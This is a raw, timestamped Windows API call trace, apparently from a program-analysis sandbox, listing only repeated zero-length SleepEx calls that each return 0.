[0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.803] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.243] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.266] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.269] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.270] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.279] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.279] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.308] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.309] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.309] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.898] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.898] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.898] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.898] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.618] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.618] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.684] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.705] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.706] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.710] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.711] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.725] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.614] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.660] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.708] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.731] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.754] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.818] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.818] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.819] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.819] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.819] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.820] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.820] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.821] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.823] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.824] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.826] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.826] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.427] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.445] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.449] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.477] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.486] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.491] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.491] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.492] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.496] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.497] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.497] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.498] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.498] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.499] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.503] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.503] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.507] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.508] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.508] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.513] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.514] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.514] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.518] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.518] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.519] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.519] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.520] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.520] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.521] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.521] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.522] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.522] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.523] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.523] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.524] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.524] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.525] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.525] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.526] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.527] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.527] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.528] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 